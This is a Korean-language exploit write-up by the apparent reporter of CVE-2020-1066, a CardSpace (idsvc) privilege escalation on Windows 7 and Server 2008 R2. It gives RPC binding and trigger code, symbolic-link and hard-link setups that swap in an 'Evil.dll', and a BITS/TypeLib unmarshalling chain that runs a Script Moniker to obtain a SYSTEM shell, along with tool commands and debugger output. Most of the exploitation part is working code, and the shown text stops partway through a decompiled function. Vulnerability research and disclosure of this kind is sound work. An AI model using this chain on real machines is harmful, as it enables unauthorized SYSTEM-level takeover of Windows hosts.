
# CVE-2020-1066 로컬 권한 상승 익스플로잇 Windows 7 및 Server 2008 R2를 대상으로 하는 CVE-2020-1066 로컬 권한 상승 익스플로잇입니다. Windows CardSpace 서비스(idsvc)의 심볼릭 링크 남용을 통한 임의 파일 교체를 활용하여 SYSTEM 수준의 코드 실행을 달성합니다.
이 취약점은 Windows CardSpace 서비스가 심볼릭 링크 객체를 올바르게 처리하지 않아 발생하는 임의 파일 교체 로컬 권한 상승 취약점입니다.
저자의 poc는 연구 목적으로만 제공됩니다. 독자가 이 poc를 활용하여 다른 행위를 하는 경우 작성자와 무관합니다.
[toc]
Windows 7 및 Windows Server 2008 R2의 일반 사용자와 특수 구성을 활성화한 IIS 사용자에게 적용됩니다.
필자는 이 취약점의 제출자이며, 취약점은 2020년 5월에 업데이트되었습니다. 이 취약점은 Windows 7 및 Windows Server 2008 R2의 Windows CardSpace 서비스(줄여서 idsvc)에서 발생합니다. 이 서비스는 임의의 사용자가 시작할 수 있으며, 자체적으로 System 권한으로 실행되고 공개된 RPC 호출을 제공합니다. 서비스가 사용자 트리거에 의해 현재 사용자 환경 변수 %APPDATA% 디렉터리의 지정된 구성 파일을 이동할 때 심볼릭 링크 객체를 올바르게 처리하지 않아 임의 파일 교체를 통한 로컬 권한 상승이 발생합니다. 이것이 취약점의 원인입니다. RPC 호출을 이용하는 것이므로 먼저 서비스의 인터페이스 MIDL을 획득해야 로컬 코드를 작성하여 상호 작용할 수 있습니다. 필자는 RpcView 도구 사용을 권장하며, 구체적인 방법은 RPC 취약점 발굴 시리즈 문서를 참조할 수 있습니다. 먼저 다음과 같은 방법으로 심볼 파일을 획득하고 도구에서 심볼을 구성한 후, RPC 인터페이스 IDL 파일을 역컴파일할 수 있습니다. 구체적인 방법은 다음과 같습니다.``` //先配置环境变量[_NT_SYMBOL_PATH]值如下 SRVC:\symbolshttp://msdl.microsoft.com/download/symbols/ //手动下载符号,symchk.exe在windbg目录下 symchk.exe "C:\Windows\Microsoft.NET\Framework64\v3.0\Windows Communication Foundation\infocard.exe" /v //在RpcView工具点击Options->Configure Symbols,输入如下内容,注意大小写 srv*C:\symbols

도구를 통해 그중 3가지 중요한 데이터, 즉 Rpc 프로토콜의 유형, 프로토콜 이름 및 프로토콜 인터페이스의 클라이언트 정의 파일(IDL 파일을 컴파일하여 생성된 .c 파일, 왼쪽의 Decompilation 텍스트 상자 참조)을 얻을 수 있습니다. 이렇게 하면 다음과 같은 방법으로 Rpc 서비스를 바인딩할 수 있습니다.```
BOOL StartRpcService()
{
RPC_STATUS status;
unsigned int cMinCalls = 1;
RPC_BINDING_HANDLE v5;
RPC_SECURITY_QOS SecurityQOS = {};
RPC_WSTR StringBinding = nullptr;
if (StartConnectingService())
{
//Rpc协议的类型,协议名称
status = RpcStringBindingComposeW(nullptr, L"ncalrpc", 0, L"31336F38236F3E2C6F3F2E6F20336F20236F21326F", nullptr, &StringBinding);
if (status){
printf("RpcStringBindingComposeW Failed:%d\n", status);
return(status);
}
status = RpcBindingFromStringBindingW(StringBinding, &hBinding);
RpcStringFreeW(&StringBinding);
if (status){
printf("RpcBindingFromStringBindingW Failed:%d\n", status);
return(status);
}
SecurityQOS.Version = 1;
SecurityQOS.ImpersonationType = RPC_C_IMP_LEVEL_IMPERSONATE;
SecurityQOS.Capabilities = RPC_C_QOS_CAPABILITIES_DEFAULT;
SecurityQOS.IdentityTracking = RPC_C_QOS_IDENTITY_STATIC;
status = RpcBindingSetAuthInfoExW(hBinding, 0, 6u, 0xAu, 0, 0, (RPC_SECURITY_QOS*)&SecurityQOS);
if (status){
printf("RpcBindingSetAuthInfoExW Failed:%d\n", status);
return(status);
}
//绑定接口
status = RpcEpResolveBinding(hBinding, DefaultIfName_v1_0_c_ifspec);
if (status){
printf("RpcEpResolveBinding Failed:%d\n", status);
return(status);
}
}
else
{
printf("Start Connecting Windows Cardspace Service Failed");
return 0;
}
return 0;
}
idsvc 서비스 코드를 디컴파일하여 구체적인 프로젝트를 얻는다(관련 프로젝트 참조). idsvc 서비스는 전역 RPC 인터페이스의 전역 처리기인 RequestFactory.ProcessNewRequest에 바인딩되어 있으며, 최초 호출, 즉 parentRequestHandle이 0인 경우에는 CreateClientRequestInstance 클래스를 호출하여 콜백을 처리하고, 이후 작업은 CreateUIAgentRequestInstance 클래스가 처리한다.``` //全局RPC接口的全局处理程序 internal static int ProcessNewRequest( int parentRequestHandle, IntPtr rpcHandle, IntPtr inArgs, out IntPtr outArgs) { ... //初次调用 if (parentRequestHandle == 0) { using (UIAgentMonitorHandle monitorHandle = new UIAgentMonitorHandle()) { using (ClientRequest clientRequestInstance = RequestFactory.CreateClientRequestInstance(monitorHandle, structure.Type, rpcHandle, inStream, (Stream)outStream)) {
string extendedMessage; //反射出来后执行实例的DoProcessRequest方法处理请求 num = clientRequestInstance.DoProcessRequest(out extendedMessage); RpcResponse outArgs1; RequestFactory.ConvertStreamToIntPtr(outStream, out outArgs1); //返回结果 outArgs = outArgs1.Marshal(); } } }
idsvc 서비스는 RpcRequest->Type 필드의 클래스 이름을 기반으로 해당 클래스를 리플렉션하여 콜백을 처리하며, 여기서 poc는 "ManageRequest" 클래스를 사용합니다;```
private static ClientRequest CreateClientRequestInstance( UIAgentMonitorHandle monitorHandle, string reqName, IntPtr rpcHandle,Stream inStream,Stream outStream)
{
ClientRequest clientRequest = (ClientRequest)null;
lock (RequestFactory.s_createRequestSync)
{
RequestFactory.RequestName request =
RequestFactory.s_requestMap[reqName];
if (-1 !=
Array.IndexOf<RequestFactory.RequestName>(RequestFactory.s_uiClientRequests,
request))
{
Process contextMapping =
ClientUIRequest.GetContextMapping(rpcHandle, true);
InfoCardTrace.ThrowInvalidArgumentConditional(null ==
contextMapping, nameof(rpcHandle));
WindowsIdentity executionIdentity =
NativeMcppMethods.CreateServiceExecutionIdentity(contextMapping);
InfoCardUIAgent agent =
monitorHandle.CreateAgent(contextMapping.Id, executionIdentity, tSSession);
switch (RequestFactory.s_requestMap[reqName])
{
//这里使用的是"ManageRequest"类;
case RequestFactory.RequestName.ManageRequest:
clientRequest = (ClientRequest)new
ManageRequest(contextMapping, executionIdentity, agent, rpcHandle, inStream,
outStream);
break;
}
}
ManageRequest 인스턴스의 DoProcessRequest 함수를 트리거하여 요청을 처리하며, 중간 단계를 생략한 후 마지막으로 StoreConnection.CreateDefaultDataSources()를 호출하여 익스플로잇 지점에 도달합니다.
서비스와 상호 작용하는 과정에서 서비스는 사용자를 가장(Impersonate Client)하고 사용자 프로필을 가져옵니다. 기본적으로 사용자 환경 변수 %APPDATA% 디렉터리에서 프로필을 지정합니다. IIS 사용자의 특수한 경우에는 기본적으로 프로필이 로드되지 않으므로 다음 구성을 활성화해야만 구현할 수 있습니다. 애플리케이션 풀 -> 고급 설정을 클릭합니다.
```
//构造函数
protected StoreConnection(WindowsIdentity identity)
{ //这里的identity也就客户端身份 this.m_identity = new WindowsIdentity(identity.Token); //获取用户环境变量的%APPDATA% this.m_path = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Microsoft\CardSpace\"); this.m_localSource = this.m_path + "CardSpaceSP2.db"; } protected virtual void CreateDefaultDataSources(Hashtable list) { string str = this.m_path + "CardSpace.db"; //进入using块使用的idsvc服务身份,离开块后继续Impersonate Client using (new SystemIdentity(true)) { .... if (File.Exists(str)) { //替换文件,内部实现就是File.MoveTo等函数 this.AtomicFileCopy(str, this.m_localSource); } } ... protected void AtomicFileCopy(string source, string destination) { if (!File.Exists(source)) return; //加上.atomic后缀,移动文件 File.Copy(source, source + ".atomic", true); FileInfo fileInfo = new FileInfo(source + ".atomic"); if (fileInfo.Length == 0L) return; fileInfo.MoveTo(destination); }
idsvc 서비스는 `new SystemIdentity(true)`를 통해 idsvc 서비스 ID로 다시 전환한 다음 `AtomicFileCopy`를 호출하여 사용자 프로필 파일을 이동합니다. 기본 구성에서 `%APPDATA%` 디렉터리 아래의 파일은 현재 사용자가 완전히 제어할 수 있습니다. 높은 권한 프로세스가 낮은 권한 프로세스가 제어할 수 있는 파일에 대해 삭제, 이동, 복사, 속성 설정 등의 작업을 수행할 때, 낮은 권한 프로세스는 이 권한을 악용하여 다른 작업을 수행할 수 있습니다. James Forshaw[@tiraniddo](https://twitter.com/tiraniddo)는 우리에게 [오픈소스 도구](https://github.com/googleprojectzero/symboliclink-testing-tools)를 제공했습니다. 그는 NTFS 파일 시스템과 Windows 내부에 대한 선구적인 작업으로 모든 어려운 작업을 완료했으며, Windows 파일 시스템 및 경로 구문 분석 기능을 악용하는 몇 가지 기술과 익스플로잇 방법을 구현했습니다. NTFS 파일 시스템은 사용자 제어 디렉터리를 다른 사용자 제어 디렉터리에 마운트(볼륨 마운트 지점 Volume Mount Points 및 정션 포인트 Junction Points)하는 것을 허용하고, 심볼릭 링크 Symbolic Links(NTFS 재분석 지점 Reparse Points)를 통해 대상을 다른 대상에 연결하거나 하드 링크(Hard Link)를 통해 사용자가 제어할 수 있는 파일을 다른 읽기 가능한 파일에 연결하는 것도 허용합니다. 이러한 방법 모두 악의적인 공격자가 높은 권한 프로세스의 파일 작업을 남용할 수 있게 합니다. PoC에서 이용하기 위해 다음과 같은 두 가지 방식으로 소스 파일과 대상 파일에 해당 심볼릭 링크를 만들 수 있습니다. 첫 번째 방식은 마운트 지점과 하드 링크이며, 이 방식은 win7에서만 작동합니다. 하드 링크는 Microsoft에 의해 완화되었으며, 자세한 이유는 [분석](http://whereisk0shl.top.park.bitcron.com/post/2019-06-08)을 참조하세요. 두 번째 방식은 여전히 win10에서 이용이 가능한데, 원리는 임의 사용자가 쓸 수 있는 개체 디렉터리 \RPC Control을 지정된 디렉터리에 연결한 다음 \RPC Control 디렉터리의 파일을 지정된 파일에 계속 연결하는 것입니다. 구체적인 방법은 다음과 같습니다. 심볼릭 링크에 대한 자세한 내용은 [상편](https://www.4hou.com/posts/qV8D)과 [하편](https://www.4hou.com/posts/rE7B)을 참조할 수 있으며, 여기서는 설명을 생략합니다.```
第一种方式, 挂载点和硬链接
C:\workspace\mountpoint -> C:\Users\Username\AppData\Local\Microsoft\CardSpace
源文件(挂载点) = C:\workspace\mountpoint\CardSpace.db(Fake.dll) -> C:\Users\Username\AppData\Local\Microsoft\CardSpace\CardSpace.db
目标文件(硬链接) =C:\Users\Username\AppData\Local\Microsoft\CardSpace\CardSpace.db.atomic -> C:\Evil.dll
第二种方式,符号链接至 \RPC Control
C:\Users\Username\AppData\Local\Microsoft\CardSpace -> \RPC Control
源文件 = C:\Users\Username\AppData\Local\Microsoft\CardSpace\CardSpace.db ->\RPC Control\CardSpace.db
目标文件 =C:\Users\Username\AppData\Local\Microsoft\CardSpace\CardSpace.db.atomic -> \RPC Control\CardSpace.db.atomic
源文件 = \RPC Control\CardSpace.db ->C:\Fake.dll
目标文件 = \RPC Control\CardSpace.db.atomic -> C:\Evil.dll
Process Monitor에서 idsvc 서비스가 파일을 이동할 때 Impersonate(가장) 사용자 ID 작업을 사용하지 않았고, 파일의 심볼릭 링크 속성도 확인하지 않아 임의 파일 교체 권한 상승 취약점이 발생한다. 다음은 취약점 악용 핵심 코드이다.```
BOOL Exploit()
{
RpcRequest* req = (RpcRequest*)CoTaskMemAlloc(sizeof(RpcRequest));
req->Type = L"ManageRequest";
req->Length = 0;
req->Data = 0;
RpcResponse* rep = (RpcResponse*)CoTaskMemAlloc(sizeof(RpcResponse));
UINT32* ctx = 0;
long ret = Proc0_RPCClientBindToService(hBinding, (void**)&ctx);
printf("Proc0_RPCClientBindToService :%d\n", ret);
ret = Proc2_RPCDispatchClientUIRequest((void**)&ctx, req, &rep);
printf("Proc2_RPCDispatchClientUIRequest :%08x\n", ret);
return 0;
}
##### 취약점 악용 분석 #####
필자는 임의 파일 교체에 기반한 새로운 권한 상승 악용 방식을 고안했으며, 프로토타입은 [CVE-2017-0213](https://www.exploit-db.com/exploits/42020/)에서 비롯되었습니다. 이 방식은 Windows7부터 Windows10까지 모든 버전의 운영 체제에 적용되지만, 교체 대상 파일이 TrustedInstaller가 제어하는 권한이 아니어야 취약점이 트리거될 수 있습니다. 그 이유는 TrustedInstaller 권한이 다른 권한보다 높기 때문에, 교체 작업을 직접 실행하면 System 권한으로 작업하더라도 액세스가 거부되기 때문입니다. 일반적으로 관리자 권한 또는 System 권한이 있는 파일만 조건에 부합합니다. 필자는 지정된 디렉터리에서 교체 가능한 파일을 검색하기 위한 [도구](https://gitee.com/cbwang505/TypeLibUnmarshaler)를 제작하여 관련 프로젝트 목록에 제공했으며, Microsoft [SysinternalsSuite](https://docs.microsoft.com/zh-cn/sysinternals/downloads/sysinternals-suite)의 accesschk 도구를 사용할 수도 있습니다. 명령줄을 다음과 같이 실행하며, 마지막 매개변수는 지정된 디렉터리 파일입니다.```
//[SysinternalsSuite]工具模式,最后一个参数为指定目录文件
accesschk.exe -s -w "nt authority\system" c:\windows\system32\*.dll
//笔者工具中的查找模式,参数为目标路径和后缀名
MyComEop.exe v [find path] [extension]
//深度查找模式,参数为目标路径和后缀名
MyComEop.exe d [find path] [extension]
Windows7 시스템의 경우 필자는 위의 도구를 사용하여 시스템에 내장된 일부 TypeLib(형식 라이브러리) 파일을 찾아 활용할 수 있었다. Windows10 등 상위 버전 시스템에서도 System 사용자가 쓸 수 있는 시스템 내장 TypeLib을 하나 찾을 수 있었다. 더 좋은 점은 타사 소프트웨어가 등록한 COM 구성 요소가 설치된 시스템에는 대부분 유사한 TypeLib 파일이 조건에 부합한다는 것이므로, 이러한 활용 방식은 반드시 활용 가치가 존재한다.``` Windows7系统TypeLib位于: C:\Windows\Microsoft.NET\Framework\v4.0.30319\System.EnterpriseServices.tlb Windows10等高版本系统TypeLib位于: C:\Windows\System32\SysFxUI.dll

Windows7 시스템의 익스플로잇은 poc에서 직접 확인할 수 있으며, Windows10 등 상위 버전 시스템은 제 다른 [EXP](https://gitee.com/cbwang505/CVE-2020-0787-EXP-ALL-WINDOWS-VERSION)에서 이미 검증되었습니다. 테스트 목적으로만 사용한다면 다음 명령줄로 실행할 수 있습니다. System 사용자로의 쓰기가 필요하기 때문에 [Process Hacker](https://processhacker.sourceforge.io/) 등의 도구를 사용해 현재 사용자 계정을 System 사용자로 전환할 것을 권장하며, 그 효과는 위 그림과 같습니다:```
MyComEop.exe u "{E6DB299B-B925-415A-879B-4A76D072F39A}" "IMyPageFactory" "{87D5F036-FAC3-4390-A1E8-DFA8A62C09E7}" "C:\Windows\System32\SysFxUI.dll" true
독자가 조건에 맞는 TypeLib를 찾은 후 Windows SDK의 OleView 도구로 열어 임의의 Interface를 선택하여 IID_Interface, InterfaceName, TypeLib_GUID의 3가지 매개변수를 각각 추출하면 익스플로잇 도구의 고급 모드를 사용하여 익스플로잇을 수행할 수 있습니다. 여기서 필자는 이 Windows7 시스템에 기본 내장된 TypeLib를 사용하여 데모를 진행했습니다.
취약점 이용의 원리는 Background Intelligent Transfer Service 서비스(줄여서 bits)에서 비롯됩니다. bits 서비스의 공개 api에 있는 IBackgroundCopyJob->SetNotifyInterface 인터페이스를 호출하면 임의의 원격 com 객체를 전달할 수 있습니다. 이 객체가 IMarshal 인터페이스를 상속하면 bits 서비스는 인터페이스 메서드 GetUnmarshalClass에 전달된 CLSID에 따라 Unmarshal 역직렬화를 사용자 정의합니다. 여기서 필자가 사용한 표준 Unmarshal 방식, 즉 CStdMarshal::UnmarshalInterface는 역직렬화를 트리거하며, 역직렬화를 유발하는 데이터는 MarshalStream의 OBJREF 구조에서 비롯됩니다. 이 구조의 형식은 다음과 같으며, 구체적인 내용은 Microsoft 공식 문서와 제 또 다른 글을 참조할 수 있습니다.```
typedef LUID OXID;
typedef LUID OID;
typedef GUID IPID;
typedef struct tagDUALSTRINGARRAY {
unsigned short wNumEntries; // Number of entries in array.
unsigned short wSecurityOffset; // Offset of security info.
unsigned short aStringArray[];
} DUALSTRINGARRAY;
typedef struct tagSTDOBJREF {
DWORD flags;
DWORD cPublicRefs;
//对象所处的套间的标识符,在套间建立时会为套间建立一个OXID,叫做对象引出标识符
OXID oxid;
//存根管理器的标识符
OID oid;
//接口存根标识符,用来唯一的标识套间中的一个接口指针,这跟接口的IID是不同的,IID是用来标识
IPID ipid;
} STDOBJREF;
typedef struct tagOBJREF { unsigned long signature;//MEOW unsigned long flags; GUID iid; union { struct { STDOBJREF std; DUALSTRINGARRAY saResAddr; } u_standard; struct { STDOBJREF std; CLSID clsid; DUALSTRINGARRAY saResAddr; } u_handler; struct { CLSID clsid; unsigned long cbExtension; unsigned long size; ULONGLONG pData; } u_custom; } u_objref; } OBJREF;
여기서 flags는 OBJREF_STANDARD(0x01)로서 표준 Unmarshal 방식(CStdMarshal)을 사용함을 나타내며, 이에 대응하는 아래쪽 공용체는 STDOBJREF입니다. 다른 flags 유형은 모두 사용자 정의 unmarshal 방식을 가지므로 이 글의 논의 범위가 아니며, 독자께서 직접 연구하시기 바랍니다. 그리고 최종적으로 취약점 이용을 실현하게 하는 것은 그중의 iid 필드입니다. 리버스 엔지니어링 연구를 통해 이 iid(즉 oleview에서 찾은 인터페이스 IID_Interface)를 교체하면 bits 서비스가 이 iid에 대응하는 COM 컴포넌트 객체의 TypeLib(타입 라이브러리)를 로드하도록 트리거할 수 있습니다. 즉 임의의 TypeLib 역직렬화가 가능합니다. 최종적으로 TypeLib 파일을 교체하여 중첩된 TypeLib 구조로 구성하면 Script Moniker를 실행하여 GetShell을 할 수 있습니다. 여기에 취약점 이용 핵심 코드를 첨부합니다:```
virtual HRESULT STDMETHODCALLTYPE MarshalInterface(
/* [annotation][unique][in] */
_In_ IStream *pStm,
/* [annotation][in] */
_In_ REFIID riid,
/* [annotation][unique][in] */
_In_opt_ void *pv,
/* [annotation][in] */
_In_ DWORD dwDestContext,
/* [annotation][unique][in] */
_Reserved_ void *pvDestContext,
/* [annotation][in] */
_In_ DWORD mshlflags)
{
IStorage* stg;
ILockBytes* lb;
CreateILockBytesOnHGlobal(nullptr, TRUE, &lb);
StgCreateDocfileOnILockBytes(lb, STGM_CREATE | STGM_READWRITE | STGM_SHARE_EXCLUSIVE, 0, &stg);
ULONG cbRead;
ULONG cbWrite;
IStreamPtr pStream = nullptr;
HRESULT hr = CreateStreamOnHGlobal(0, TRUE, &pStream);
LARGE_INTEGER dlibMove = { 0 };
ULARGE_INTEGER plibNewPosition;
hr = CoMarshalInterface(pStream, IID_IUnknown, static_cast<IUnknownPtr>(stg), dwDestContext, pvDestContext, mshlflags);
OBJREF* headerObjRef = (OBJREF*)malloc(1000);
hr = pStream->Seek(dlibMove, STREAM_SEEK_SET, &plibNewPosition);
hr = pStream->Read(headerObjRef, 1000, &cbRead);
printf("[+]MarshalInterface: %ls %p\n", IIDToBSTR(IID_InterfaceFake).GetBSTR(), this);
//IID_InterfaceFake就是找到的接口IID_Interface
headerObjRef->iid = IID_InterfaceFake;
hr = pStm->Write(headerObjRef, cbRead, &cbWrite);
return hr;
}
디버그 결과에서 CStdMarshal::UnmarshalInterface가 최종적으로 LoadTypeLibEx를 호출하고, 전달된 iid는 IID_InterfaceFake(OBJREF에서 유래)임을 확인할 수 있다. 두 번째 LoadTypeLibEx 호출은 Script Moniker를 로드했다. 실제로 고권한 프로세스의 역직렬화에서 임의의 TypeLib를 로드하도록 HOOK할 수 있음을 증명한다.```
1: kd> bp OLEAUT32!GetTypeInfoOfIID
Breakpoint 0 hit
OLEAUT32!GetTypeInfoOfIID:
0033:000007fefebf0140 4533c0 xor r8d,r8d //继续调试.... 0: kd> p OLEAUT32!GetTypeInfoOfIIDFwd+0x19: 0033:000007fefebefd09 4889842480030000 mov qword ptr [rsp+380h],rax
0: kd> r
rax=0000113b9b912356 rbx=0000000000000000 rcx=00000000059f912c
rdx=00000000033ae060 rsi=00000000059f9150 rdi=00000000059f9148
rip=000007fefebefd09 rsp=00000000033adc80 rbp=0000000000000002
r8=0000000000000000 r9=0000000000000000 r10=0000000000000000
r11=00000000033ae088 r12=00000000059f912c r13=0000000000000001
0: kd> dt _GUID @rcx
//查看这个参数
ole32!_GUID
{55e3ea25-55cb-4650-8887-18e8d30bb4bc}=传入iid是IID_InterfaceFake
//下这个断点
1: kd> bp OLEAUT32!LoadTypeLibEx
1: kd> g
Breakpoint 3 hit
OLEAUT32!LoadTypeLibEx:
0033:000007fefeb6a550 fff3 push rbx //第一次加载的是目标TypeLib 1: kd> dc @rcx L50 0000000002c8e070 003a0043 0057005c 006e0069 006f0064 C.:..W.i.n.d.o.
0000000002c8e080 00730077 004d005c 00630069 006f0072 w.s.\.M.i.c.r.o. 0000000002c8e090 006f0073 00740066 004e002e 00540045 s.o.f.t...N.E.T.
0000000002c8e0a0 0046005c 00610072 0065006d 006f0077 \.F.r.a.m.e.w.o. 0000000002c8e0b0 006b0072 0076005c 002e0034 002e0030 r.k..v.4...0...
0000000002c8e0c0 00300033 00310033 005c0039 00790053 3.0.3.1.9.\.S.y. 0000000002c8e0d0 00740073 006d0065 0045002e 0074006e s.t.e.m...E.n.t.
0000000002c8e0e0 00720065 00720070 00730069 00530065 e.r.p.r.i.s.e.S. 0000000002c8e0f0 00720065 00690076 00650063 002e0073 e.r.v.i.c.e.s...
0000000002c8e110 059f92e0 00000000 02c8e180 00000000 ................
0: kd> kv
00 000000000391d828 000007fefebf00eb : 0000000000000ed8 0000000000000000 000000000391d9a0 000000000391d870 : OLEAUT32!LoadTypeLibEx
01 000000000391d830 000007fefebf0f4f : 000007feff6c71c0 000007feff661889 000000000371f310 0000000000000000 : OLEAUT32!GetTypeInfoOfIIDFwd+0x3fb
02 000000000391dbe0 000007fefebf1149 : 0000000000284210 000000000371f310 0000000000284240 0000000000284248 : OLEAUT32!FilterReferencedTypeInfos+0x3df
03 000000000391dc40 000007feff51e46a : 0000000000000000 0000000003715ea0 0000000000284210 0000000000284210 : OLEAUT32!CProxyWrapper::Connect+0x79
04 000000000391dc90 000007feff51e233 : 0000000000000000 0000000000284210 : ole32!CStdMarshal::ConnectCliIPIDEntry+0x1ca [d:\w7rtm\com\ole32\com\dcomrem\marshal.cxx @ 2368]
05 00000000ff51e114 : 000000000391e618 0000000000000000 : ole32!CStdMarshal::MakeCliIPIDEntry+0xc3 [d:\w7rtm\com\ole32\com\dcomrem\marshal.cxx @ 2189]
06 00000000ff5211ec : 000000000391df68 000000009a2802cf : ole32!CStdMarshal::UnmarshalIPID+0x70 [d:\w7rtm\com\ole32\com\dcomrem\marshal.cxx @ 1734]
07 00000000ff5210b7 : 00000000059e7610 0000000000000000 : ole32!CStdMarshal::UnmarshalObjRef+0x10c [d:\w7rtm\com\ole32\com\dcomrem\marshal.cxx @ 1618]
08 00000000ff52106c : 000000000391df50 00000000037daf90 : ole32!UnmarshalSwitch+0x2b [d:\w7rtm\com\ole32\com\dcomrem\marshal.cxx @ 1279]
09 00000000ff64a0c5 : 0000000000000000 0000000000000000 : ole32!UnmarshalObjRef+0xc0 [d:\w7rtm\com\ole32\com\dcomrem\marshal.cxx @ 1406]
//使用的是标准反序列化模式
0a 00000000ff5232a6 : 00000000fee64366 00000000fedec704 : ole32!CStdMarshal::UnmarshalInterface+0x45 [d:\w7rtm\com\ole32\com\dcomrem\marshal.cxx @ 1238]
0b 00000000ff523542 : 000007fe0391e340 0000000000000000 : ole32!CoUnmarshalInterface+0x19c [d:\w7rtm\com\ole32\com\dcomrem\coapi.cxx @ 957]
0c 00000000fedf523e : 000000000391e340 000007fe0029f880 : ole32!NdrExtInterfacePointerUnmarshall+0x162 [d:\w7rtm\com\rpc\ndrole\oleaux.cxx @ 1354]
0d 00000000fedff6cf : 000007fe0391e4f0 0000000000000000 : RPCRT4!IUnknown_AddRef_Proxy+0x19e
0e 00000000fede6e1c : 00000000fede78d7 000000000023e760 : RPCRT4!NdrPointerUnmarshall+0x2f
0f 00000000fede68e3 : 00000000faac1342 00000000faac1af0 : RPCRT4!NdrStubCall2+0x73c
10 00000000fede7967 : 00000000fb63a250 00000000fb63a250 : RPCRT4!NdrStubCall2+0x203
11 00000000ff660883 : 0000000000000000 0000000003715ff0 : RPCRT4!I_RpcGetBuffer+0xc7
12 00000000ff660ccd : 0000000000000000 000007fe00000000 : ole32!CStdStubBuffer_Invoke+0x5b [d:\w7rtm\com\rpc\ndrole\stub.cxx @ 1586]
13 00000000ff660c43 : 000000000378a994 00000000ec046040 : ole32!SyncStubInvoke+0x5d [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1187]
14 00000000ff51a4f0 : 00000000037daf90 000000000391ecd0 : ole32!StubInvoke+0xdb [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1396]
15 00000000ff6614d6 : 0000000000000010 0000000003715ff0 : ole32!CCtxComChnl::ContextInvoke+0x190 [d:\w7rtm\com\ole32\com\dcomrem\ctxchnl.cxx @ 1262]
16 00000000ff66122b : 00000000037daf90 0000000003769be0 : ole32!AppInvoke+0xc2 [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1086]
17 00000000ff65fd6d : 00000000037daf90 0000000000070005 : ole32!ComInvokeWithLockAndIPID+0x52b [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1727]
18 00000000fede50f4 : 000007fe00000000 00000000fedde8f7 : ole32!ThreadInvoke+0x30d [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 4751]
19 00000000fede4f56 : 000007fe00000001 00000000ff4f8ffc : RPCRT4!NdrServerCall2+0x1d84
1a 00000000fede775b : 0000000000000000 000000000378a970 : RPCRT4!NdrServerCall2+0x1be6
1b 00000000fede769b : 000000000391f0b0 00000000037241b0 : RPCRT4!I_RpcBindingInqTransportType+0x32b
1c 00000000fede7632 : 000000000378a970 00000000fede6140 : RPCRT4!I_RpcBindingInqTransportType+0x26b
1d 0000000000000000 : 0000000000000000 0000000000000000 : RPCRT4!I_RpcBindingInqTransportType+0x202
//第二次加载的就是嵌套的TypeLib对应Script Moniker的script:xxx.sct脚本文件
1: kd> g
Breakpoint 3 hit
OLEAUT32!LoadTypeLibEx:
0033:000007fe02c8dd70 00630073 00690072 00740070 0043003a s.c.r.i.p.t.:.C.
0000000002c8dd90 005c0074 006b006f 0072005c 006e0075 t..o.k..r.u.n.
0000000002c8ddb0 037efc30 00000000 feb6733c 000007fe 0.~.....<s......
COM 구성 요소 서버가 위치한 아파트먼트(Apartment)에는 COM 인터페이스 스텁(stub) 객체 목록이 유지되며, 각 스텁 객체는 COM 객체에 대한 참조를 하나씩 유지한다. 이 COM 객체 인터페이스의 IID 정보에 따라 레지스트리의 HKEY_CLASSES_ROOT/Interface 아래에서 하위 키 iid의 ProxyStubClsid32 하위 키 아래의 기본값을 찾는데, 이 기본값은 스텁 객체의 CLSID이다. 그런 다음 COM은 CLSID를 기준으로 CoGetClassObject 함수를 호출하여 프록시 클래스 팩토리 인터페이스 IPSFactoryBuffer->CreateStub를 요청하여 인터페이스 스텁 객체를 생성한다. 이에 상응하여 COM 구성 요소의 클라이언트 측 아파트먼트에는 프록시(proxy) 객체 목록이 유지되며, OBJREF를 Unmarshal할 때 스텁 객체의 [oxid,oid,ipid]와 일치하는 항목을 검색하여 IPSFactoryBuffer->CreateProxy를 호출해 해당 프록시를 생성한다. 인터페이스 IDL 파일에 정의된 함수 선언을 통해 물리적 스택을 구축한 다음, RPCRT4.dll에 구현된 IRpcChannel 채널을 통해 실제 인터페이스 함수를 호출하여 스텁과 통신함으로써 COM 원격 프로시저(RPC) 호출을 구현한다.

프록시 생성 IPSFactoryBuffer->CreateProxy는 기본적으로 CreateProxyFromTypeInfo 함수로 캡슐화되어 구현된다. 이 함수의 호출 과정은 TypeLib의 TypeInfo와 관련이 있는데, 그 이유는 TypeInfo가 TypeLib에서 인터페이스의 관련 타입 정보를 정의하기 때문이다. 따라서 이 과정에서 실제로 반드시 LoadTypeLib 함수를 호출하여 TypeLib와 그 안의 TypeInfo를 로드해야 하며, 이것이 취약점을 트리거하는 가장 핵심적인 지점이다. LoadTypeLib 함수 호출 과정을 역분석해 보면, 그것은 구체적으로 레지스트리 조작을 통해 구현된다. 각 인터페이스 정보는 레지스트리 HKEY_CLASSES_ROOT\Interface\[인터페이스 IID]에 있으며, 그중 하위 키 TypeLib는 인터페이스의 TypeLib_GUID에 해당한다. 다음으로 해당 TypeLib는 HKEY_CLASSES_ROOT\TypeLib\\[TypeLib_GUID]에 위치하며, 그중 버전에 해당하는 하위 키 값이 TypeLib 경로이다. 하나의 인터페이스에는 여러 버전에 해당하는 TypeLib 하위 키가 존재할 수 있는데, 역직렬화 시 기본적으로 그중 하나만 로드된다. 필자는 oleaut32.dll의 내부 구현을 역분석하여 복원함으로써 익스플로잇 도구에서 해당 TypeLib 파일을 자동으로 매칭하여 활용하도록 구현했다. 구체적인 역분석 결과는 다음과 같다:```
wchar_t *__stdcall GetTypeInfoOfIIDFwd(GUID *rguid, struct ITypeInfo **a2, int a3)
{
wchar_t *result; // eax
unsigned __int16 versionLookUp; // bx
unsigned __int16 versionLookUpNext; // ax
DWORD v6; // ebx
LSTATUS i; // eax
HRESULT v8; // eax
wchar_t *v9; // ebx
HRESULT v10; // eax
int foundDotted; // [esp+8h] [ebp-31Ch]
GUID *v12; // [esp+Ch] [ebp-318h]
struct ITypeInfo **v13; // [esp+10h] [ebp-314h]
struct ITypeInfo *v14; // [esp+14h] [ebp-310h]
wchar_t *EndPtr; // [esp+18h] [ebp-30Ch]
LONG cbData; // [esp+1Ch] [ebp-308h]
ITypeLib *pptlib; // [esp+20h] [ebp-304h]
unsigned __int16 SubVersion[2]; // [esp+24h] [ebp-300h]
DWORD dwIndex; // [esp+28h] [ebp-2FCh]
unsigned __int16 Version[2]; // [esp+2Ch] [ebp-2F8h]
